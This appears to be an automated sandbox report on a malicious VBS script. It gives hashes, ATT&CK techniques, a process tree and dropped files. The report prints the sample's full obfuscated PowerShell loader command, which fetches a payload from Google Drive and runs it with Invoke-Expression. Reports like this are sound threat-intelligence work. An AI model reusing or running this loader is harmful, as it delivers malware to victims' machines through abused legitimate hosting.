f935a1f2539b81856ee7e2689166830af281373f787ca92130c2472d10b77d75

General

Target

6a44463feb077a9b6570bae5039b233bfbf2847045b489602aafdc7b035661a7.vbs
Size

23KB
MD5

e1e5fd99ab7b6f8a803afa4351fbbaa5
SHA1

8774a7ac4edea00515ee3f0dbc216eb9d04eea5f
SHA256

6a44463feb077a9b6570bae5039b233bfbf2847045b489602aafdc7b035661a7
SHA512

d4ce6420663186d3ccc4316c0a27c8b45e2d0c3caa35ab728254f3f5568b123160d64a53e563c888dfb9335a7aaca6ee150a8ab99614a0dac44c0e07af88b22f
SSDEEP

384:IRLsQ6YaZ0Q3L8Epp2TWQ3ejkH7sHFKYc0H4VFOy9q:INszYk0SL8EpeWrkIFKYc0H4TO+q

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
2	228	WScript.exe
8	4024	powershell.exe
10	4024	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
7	drive.google.com
8	drive.google.com

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4024	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4024	powershell.exe
4024	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4024	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 228 wrote to memory of 4024	228	WScript.exe	90
PID 228 wrote to memory of 4024	228	WScript.exe	90
PID 4024 wrote to memory of 3232	4024	powershell.exe	92
PID 4024 wrote to memory of 3232	4024	powershell.exe	92

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\6a44463feb077a9b6570bae5039b233bfbf2847045b489602aafdc7b035661a7.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:228
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -windowstyle 1 "$Klodshansers = 1;$Killy='ring';$Dovenkroppes='S';Function Berceuse($Tilsikrendes){$Renserne=$Tilsikrendes.Length-$Klodshansers;$Knibende=$Dovenkroppes+'ubst'+$Killy;For( $Raadgivningsvirksomhed=7;$Raadgivningsvirksomhed -lt $Renserne;$Raadgivningsvirksomhed+=8){$Hyletone+=$Tilsikrendes.$Knibende.Invoke( $Raadgivningsvirksomhed, $Klodshansers);}$Hyletone;}function Epostkasse($Boston){ . ($Blokken) ($Boston);}$Skulderblads174=Berceuse 'SyngamiMGangspioPharyngzPolymoriOrthog,lskiftenlMyelodiaAn.ulat/Exempli5selvagt. lemmeb0 Haunte Chizzbo( MartiaW ,irroriGarantinT bulibdJusterioUnp.eclwStillehsBaadepl AfklariNbetonvgTZingerg Tjen st1Concapt0 Anacam.Novelle0Regress;Ja.elin BurreroWSkadefriZebfoern Skaden6Splenoc4Tommasl;Colu,et Ulvemlx,vidnin6indklag4Forkrnk;Skadesl Microamr HunhunvFordybe:Bahiait1Porotyp2Milenes1Nihilit.Afrakni0Dokume,)Diglotf UndecisGMemoir ePerichocGdningsk Fremsto Vandre/Rotunde2dechemi0 Proxim1Toughe,0Rickerd0Outsigh1 Al,ibi0S,orren1 ,achia KlassicFLastetoiAfskyvkr Ra ereeimagin.fOp.ativopersorpx Bromic/Kursero1Icecapa2Slurk,n1Centrif.Tur.ifo0 Throne ';$Leucopoietic=Berceuse 'Graesk,U,bservasDeodorie Embal,r Strkne-K tolskAHoved rg rovfise BabaconA tskomtSignoff ';$Clingier=Berceuse ' riclinhMesencht DoddertFolketipTentak s Tolera:D kkert/Mete.ar/SkrkkamdPreaccurmank.beiairometvContorteMessin..SkomagegDevouraoUnmit,roFebri tgPletvanlflerkole.olteen.vespertcNysselioGeniturmForetas/udludniu redeplcSavorer? ScreeneTeletypxGlasnetpec,entro,eranierInche,utS.riate= richocdAphonicoArgumenwOutputfnThwackelCsarismoTrekkena unected Iant i&Forest,iSkulptudS.rerer=Fi,zlin1pjaltens UnadvafBrndkamWLirenbrybeskftioHoarstoAMarks,ejFinansma Res riVSyrefasbTvivlss7St ingh0 Godkenm Tamponr Motorb7MaravedxTasta.l4O,erplemCa eche9 Brn.sytIsonomo0repealac Titula9RosalgeSNanasekAUnmit.gFHandika9TriangutConf,deP amamelpTachom.W SpalteETrans,e ';$sammenkdningens=Berceuse 'skorste>Lejl.gh ';$Blokken=Berceuse ' nderliiDommedae HalfwaxPan.ere ';$Bynrt='Kloakanlgget';$Affairs = Berceuse 'RecolleeHo.elficArte,iohSklh,ttoUnderaf Intensi% Mesotha AbidegpKdehandpMycetisdM,diatiaOop,oritunoedveaWing dl%Sy,labu\ObsecraSdisses pSenegalnBroder.dDeterrihKostaldoRib.enslholloastBlendwaeVa,dskotVestenvsMiniatu.SovemidPPushup,eLever,nrCommens Ddsdage&Opmaali&Pigebar ,ncheweeTeknokrc Suitenh Wiliesocajan,n Bys.rrtE.vinds ';Epostkasse (Berceuse 'Pla ter$Hoodieig MoitielwoefulloFejlgrebUklareraFlexibel Pentas:MultiplJCootieso,lushtsk Stratee CapricrKlageskg immixaeDrgtigevCompassiBa,ancenShabu,dsOmformetNob erp9 rmeri2 Priori= Saniti( udlgshcU,kaaremGaolersdGenne t Sa dles/Hmning.cHastere capybar$Busse,sABloedeofGrsenkefJadeproa Cribo.iCharmrerNonzealsbarbari)Korsett ');Epostkasse (Berceuse 'O,erleg$ NobelpgBiblioslRenteneoUngdomsbunfewveaLanci al,olosym:Lathem BSkudefuiSkunkynsZe.atritAcrodacaDybfrosn TeigeldPlantdosEnspndedPaternaoEquilobnKvatorioBr kbaar,lylylieVaskerurBek.emts Alepot=Gaffelb$ KayakiCBrithssl KrukkeiReinitinCul.ivagDeklaraiOverasse TnkeevrMiserab.egnsteasGryn.edp takk.flPhi.oloiB okingtEximiou(Twoto,t$SamfundsMilliseaUmoti,emSkippermradioaue Medlemn DormankDialerpddugrudenLovreg,i VendibnMillwheg UnderleScarabjnUnattacsLumskhe) Gelant ');$Clingier=$Bistandsdonorers[0];$Eightyfold7= (Berceuse ' Skylds$HypnotigDumositltynedcooCenterlbPlasmoqaForsaallOpladni:DdsoffeSGenernekClavarirO,tchatiTopsoilfAsphalttBashesae KeralisSelvjustUniversoBeskrivlPaleoate IndtassSecreta= SummerN Tilb,geUdblikkw Sleigh- CirrhuOCisternbDisoriejDragerneS.ckenec S matotMusings MinisubSTransveyRazzwhisKrnssuptLykk.jge StovemmMargith. WildneN ReshapeJohnstvtrockmol.Rad.obiW N.nadveDans,mub GruineCKadrenilGaitspii udaicaeAppor,enSammenft');$Eightyfold7+=$Jokergevinst92[1];Epostkasse ($Eightyfold7);Epostkasse (Berceuse ' Dampha$ NonjurSTribunikTi,nrmerBlindfliWhatabofprimipatTweetineJuvenilsRemeasutYa,pingoRattlepl Omkranetjr,demsGenerat.Snepp.jHlivvagteSpinogaa M ltipd grey.yeAfrodisrBlousilsVaccine[Seksend$ten atiLStonisheCacaestu .edvurcAssmanso ExcalcpTrillinoSojabnniFantasieBlgvanttHandbooiSoelvskcConcert] Caroli=Undertr$NaturviSNarratok Misrecu MiffinlAusgespdEphydriearmenskrTrauli.bMatadorl Diversa Benedid,llestrsS.itchc1Skraver7Rr,mask4Aller,f ');$Sumlogger=Berceuse ' Fromen$Pol.tisSArbejdsk Avls,er D,sergiS,getsrf rugert Kapi.aeKundel sMeadswetSo,engnoPreludilUnloud.eHypostasAnsva.s.B.noculDHerskaboOpkrv nwA magrenIldlinil RosinsoBlgekamaSnurrevd PatholFMandslii ,ndulalBivuakeeKapit,l(Sputumo$FingerkCTrebuchlRastesti Pinnatn Shackog TerrakiEucep.ae Slskinrstilyag,Inobser$ KresteCavnbgenoLeverinuAgeneovsAvl hesi B,ophynPhysostrMalerkuyr,ernes)Reser a ';$Cousinry=$Jokergevinst92[0];Epostkasse (Berceuse 'Re ound$Siliculg Af,tnil InterroSlagfrdbDriersea Asper lMarlier:DogeshiE SkyggemBustlinoMisc,astkusserniMarkedsoHypophynstatshoaIllusiolHear noiLystrentHelbredeHaandl tAzo,ulpeAntic.pn FriordsBoligan=,ndefea(InnerwiTUntreadeA tiochsDockheatAandema-C,simirPKommanda PorsittKvidis,hKislens Medlems$ ristovCprestono TelexeuRei sedsCovetouiHaandgenNotoirerPresniny Brunhe) Unflus ');while (!$Emotionalitetens) {Epostkasse (Berceuse 'Efterml$ abscisgVulgarilOver.eto A,rikobMateriaa Sleavelpe ithe:ChippenR Spon oamannishaExce legTegnttheOrthidarNaadensnAvoidsseTrodsig= eanett$ S nsortPer,onarGrantedu RdgrdseRecher, ') ;Epostkasse $Sumlogger;Epostkasse (Berceuse 'HeuktriSSlidekntCararafaGlder,erKrigsmitEnd gas-Tideco.SFordreslOkras veDelusioemedhjaepHandlin Bandbul4Gnostik ');Epostkasse (Berceuse ' tilbin$Co enitgPsykoselSjett,botro.himbAbj.nctaLe.idoil Neur.c:Azulin,EDgnboksmNonsabboAfvrgedtNe hrotiFlagsptoUnshaftnUngenera ProsemlNeopa,ai D faittRosen deAstroalt Balefie Ubli,enHasteinsSo,cell=,esodes(PreaccuT Meds,yehematomsnonchurtSortkri- LeveriPMistracaKnip,ertEndosomh Mellem Tidsfun$St.rensCAcidifioUn loakuD bitors Laksegi Annaben camel rUltraobyK mmand)Semigra ') ;Epostkasse (Berceuse 'Diptyca$DybenesgYewfugtlBoatingoNemoricbSympustaGaspeeolBsse.ol:SanseveAAfbenytdNoncrenuBlacks lSjb rgstBoplesseNonentor vkstceoInterruu Fr.dnisU,insol=Disempl$Chapmang Fejlhul verskroFourplebNataloiaGraasprlIndbild:Disc ncFLipomorlSynsfria Pleuroag.teauanSyva.rsiSkovm,snOu dancgFotoeleeBesgscer pblomsn.etingee etskrisVurder.+Unsinua+Uforlig%Credib $InhumanBRekonvaiNondefesUnyeanet dreidla kseltanIngenerdEnfou.bsPatentadNonpliaoWellsponTaut choFr.gaaer AmetroeLentissrSkalanislysimet.damesk.c smokeboUnresinuUnm.rrinGeometrt Undam, ') ;$Clingier=$Bistandsdonorers[$Adulterous];}$Ansigtsfarver224=316414;$uneconomisings=30112;Epostkasse (Berceuse ' Dyschr$ResuinggCezannelArterieoMaaltagbPyrotekaElzevirlC,romat:Help.esA Loric,nMothersaTy.ologrSlavepet CanoodhAgnost,r Rec peoIntraprp Shavedo parashdSavorsooScopespu BegunssHop oad Faglrer=Bran.li BundtpGPhelloge PostantRapiner- skriftCWindmiloFlabesrnK.iplertDepredaeKommensnS.reamltMyrmido Spi.alb$Unde veCSpenderoA.veolru Tordens R.cidiiVesicocn CloudyrKonfrony Buskor ');Epostkasse (Berceuse ',undalp$VasculagOkkultilFuturumounitivebKlhalinaTransvelKomiker:PaviotsR orterheTransparBranch.eCirculamHkkes,km .postoiIstterdcBesvrlieD mitte Kapital=Bre ren Dis,ip[A,flyvnSUltrad yNedfa.dsOsmomettDetermieSubnatum Vkstre. HovedvC.arkomao Watchsn.ubergivBlokdi,eKa,esporIllumintStaveko]Klipper:Erected:LarkyjoFFlourisrPapish,oUndescrmsandb.iBTorpedoabiplanes InexpieRi,htab6Rufsg,o4Osvald.SLivsfretC.priccr,olyhaeiFobi kenErkendegSam,and( Savspa$RflenreANytt,ownAnt.gelaBariumcrTrophict Af.ifthFilminsrVovestyoDecimalpAffedtno emhundd Pi roaoOverinsuHenholdsS.raaen),amousl ');Epostkasse (Berceuse 'Fretway$Trico ig adioacl H.segaoCounterbP steuraPargetslMiddelh:peruviaBAnskaffr erkeliAnalysesHjerteruOptri,srT edeleeScotsam strolle=Female. Pseudon[Slang lS MonarkySt,afbesHorsesct Di.enaeIldesetm A.trop. we,tleT Navne eStanc ix Postu.tAndelsg.SvededrETrustlen GarrotcBaskereoUndeviad antianiO.ertalnRisiciegSmidi.h]Schoolg:Opsvulm:MemoriaAMerc riSSkriveoC Femo,tIne michI Amalga. OrnadaGMisdemee MokkentVal ntiSnonprimtMyldretr NeolitiEndossenFerdan g Sy,vin(.arbles$MinutioRubetydeevaskbarrSlapdeseHoej,tsm M sentmhotel oiMesosphcForesp,eSwapnin),lagter ');Epostkasse (Berceuse 'Trustor$Odinesmg .rowsel Cadoneo FormicbDeuteroaetha,ollLrerige:Leuko,yLZeoliteiOversolg CaresshOphiogltTra.spoeuntactfr,oadsman B odsbe Wa.dor= Selv p$ ejseseBTrllenerSlu,opgi Sire,hsMaskersuCha,tierF rskubeDdsdage.Unleas sAuxot ouAfhndelb Brandssp,raceat E,ancirUranisciSparklinpne matgYderb k(Udskrif$VsensfoASwedenbnKsemafosStivnp,idyreklig CensustU vaskes UpplucfNixerrua LhunderLambdasv AbsurdePanso hrStrandf2Cerebro2 Un.eco4Legat,e,clogssm$outmodeuCesaroln Inte re SnorklcgluncheoDisconnnLaureeno Spe mim.kttedei Protoss Ast oli,utidsmnStave.wgantil,vsMidinet).rtille ');Epostkasse $Lighterne;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4024
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Spndholtets.Per && echo t"
    3⤵
    PID:3232

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4076 --field-trial-handle=1928,i,13242902252791919845,10377620236057253993,262144 --variations-seed-version /prefetch:8
1⤵
PID:2936

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\Satyrical.txt

Filesize
8KB

MD5
c3859029fbda9d5eac4b132c7d9ffe17

SHA1
9893dce0e043ae19a0f036086fa6b068998734af

SHA256
2e0b9238d2ea3195ab7c2fd31321af18aab588224b2160bae2f8f141ff3ce0d0

SHA512
9760e70ac4eb893f9cc6a2241b5b346982008c94b5997d19cf0fd25d9414584abfa5656f4584aafa007a31b61c1633c9958770f60d7cca5734369c961e6a0d57

Download Submit
C:\Users\Admin\AppData\Local\Temp\Satyrical.txt

Filesize
631B

MD5
54cd3256c4709598f5b57af74550183c

SHA1
4617a635cc6242da1baa4861785762fe8621f478

SHA256
a4544c6f16d2529918d81daa0b3916bcf573fdab1bdbe1e630cb3b5d7811c969

SHA512
cf6f914b139f0dda359f8ae91174ab8b09b1f15443bc6ccd54f1ac047e2c8ee8dece8f333bbe86270683d39766b53fee0830c0e97ec1944c4a948584328a9252

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ttujszfp.0or.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4024-341-0x00007FF9EA913000-0x00007FF9EA915000-memory.dmp

Filesize
8KB

Download
memory/4024-351-0x000001A0DCAC0000-0x000001A0DCAE2000-memory.dmp

Filesize
136KB

Download
memory/4024-352-0x00007FF9EA910000-0x00007FF9EB3D1000-memory.dmp

Filesize
10.8MB

Download
memory/4024-353-0x00007FF9EA910000-0x00007FF9EB3D1000-memory.dmp

Filesize
10.8MB

Download
memory/4024-354-0x00007FF9EA910000-0x00007FF9EB3D1000-memory.dmp

Filesize
10.8MB

Download
memory/4024-359-0x00007FF9EA910000-0x00007FF9EB3D1000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing